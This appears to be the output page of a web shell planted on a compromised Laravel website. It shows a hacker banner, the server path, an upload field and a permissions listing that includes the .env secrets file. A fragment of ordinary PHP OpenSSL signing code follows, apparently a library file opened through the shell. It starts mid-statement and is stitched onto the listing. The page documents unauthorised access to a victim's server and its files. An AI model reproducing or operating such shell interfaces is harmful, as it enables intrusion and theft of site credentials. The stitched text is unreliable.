I am a hacker in the dark of a very cold night
path :/var/www/html/vorne.webheaydemo.com
upload file:
List of files:
| name file |
size |
edit |
permission |
action |
| .editorconfig | 276 KB | March 05 2024 07:12:34 | 0666 |
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| .env | 1385 KB | May 24 2024 16:43:55 | 0666 |
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| .env.example | 1088 KB | March 05 2024 07:12:34 | 0666 |
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| .gitattributes | 190 KB | March 05 2024 07:12:34 | 0666 |
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| .gitignore | 245 KB | March 05 2024 07:12:34 | 0666 |
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| .htaccess | 947 KB | July 04 2023 21:25:08 | 0664 |
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| .rnd | 1024 KB | March 13 2024 04:51:14 | 0666 |
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| README.md | 472 KB | March 22 2024 10:35:00 | 0666 |
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| app | - | March 05 2024 07:12:34 | 0777 |
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| artisan | 1739 KB | March 05 2024 07:12:34 | 0666 |
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| bootstrap | - | March 05 2024 07:12:34 | 0777 |
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| composer.json | 2829 KB | May 13 2024 12:10:04 | 0666 |
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| composer.lock | 417205 KB | March 19 2024 12:13:14 | 0666 |
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| config | - | July 03 2025 02:53:36 | 0777 |
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| database | - | March 05 2024 07:12:34 | 0777 |
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| index.php | 1816 KB | May 13 2024 10:32:36 | 0666 |
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| lang | - | May 13 2024 14:53:26 | 0777 |
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| manifest.json | 913 KB | May 14 2024 03:57:26 | 0664 |
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| package.json | 398 KB | March 05 2024 07:12:34 | 0666 |
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| phpunit.xml | 1206 KB | March 05 2024 07:12:34 | 0666 |
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| public | - | July 03 2025 02:37:20 | 0777 |
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| resources | - | May 13 2024 12:09:36 | 0777 |
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| routes | - | March 05 2024 07:12:34 | 0777 |
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| service-worker.js | 924 KB | March 05 2024 07:12:34 | 0666 |
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| storage | - | March 05 2024 10:03:52 | 0777 |
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| symlink.php | 218 KB | March 05 2024 07:12:34 | 0666 |
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| tests | - | March 05 2024 07:12:34 | 0777 |
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| vendor | - | March 19 2024 12:13:14 | 0777 |
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| vite.config.js | 326 KB | March 05 2024 07:12:34 | 0666 |
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getPrivateKey($pem, $passphrase);
try {
$signature = '';
if (! openssl_sign($payload, $signature, $key, $this->algorithm())) {
$error = openssl_error_string();
assert(is_string($error));
throw CannotSignPayload::errorHappened($error);
}
return $signature;
} finally {
$this->freeKey($key);
}
}
/**
* @return resource|OpenSSLAsymmetricKey
*
* @throws CannotSignPayload
*/
private function getPrivateKey(string $pem, string $passphrase)
{
$privateKey = openssl_pkey_get_private($pem, $passphrase);
$this->validateKey($privateKey);
return $privateKey;
}
/** @throws InvalidKeyProvided */
final protected function verifySignature(
string $expected,
string $payload,
string $pem
): bool {
$key = $this->getPublicKey($pem);
$result = openssl_verify($payload, $expected, $key, $this->algorithm());
$this->freeKey($key);
return $result === 1;
}
/**
* @return resource|OpenSSLAsymmetricKey
*
* @throws InvalidKeyProvided
*/
private function getPublicKey(string $pem)
{
$publicKey = openssl_pkey_get_public($pem);
$this->validateKey($publicKey);
return $publicKey;
}
/**
* Raises an exception when the key type is not the expected type
*
* @param resource|OpenSSLAsymmetricKey|bool $key
*
* @throws InvalidKeyProvided
*/
private function validateKey($key): void
{
if (is_bool($key)) {
$error = openssl_error_string();
assert(is_string($error));
throw InvalidKeyProvided::cannotBeParsed($error);
}
$details = openssl_pkey_get_details($key);
assert(is_array($details));
if (! array_key_exists('key', $details) || $details['type'] !== $this->keyType()) {
throw InvalidKeyProvided::incompatibleKey();
}
}
/** @param resource|OpenSSLAsymmetricKey $key */
private function freeKey($key): void
{
if ($key instanceof OpenSSLAsymmetricKey) {
return;
}
openssl_free_key($key); // Deprecated and no longer necessary as of PHP >= 8.0
}
/**
* Returns the type of key to be used to create/verify the signature (using OpenSSL constants)
*
* @internal
*/
abstract public function keyType(): int;
/**
* Returns which algorithm to be used to create/verify the signature (using OpenSSL constants)
*
* @internal
*/
abstract public function algorithm(): int;
}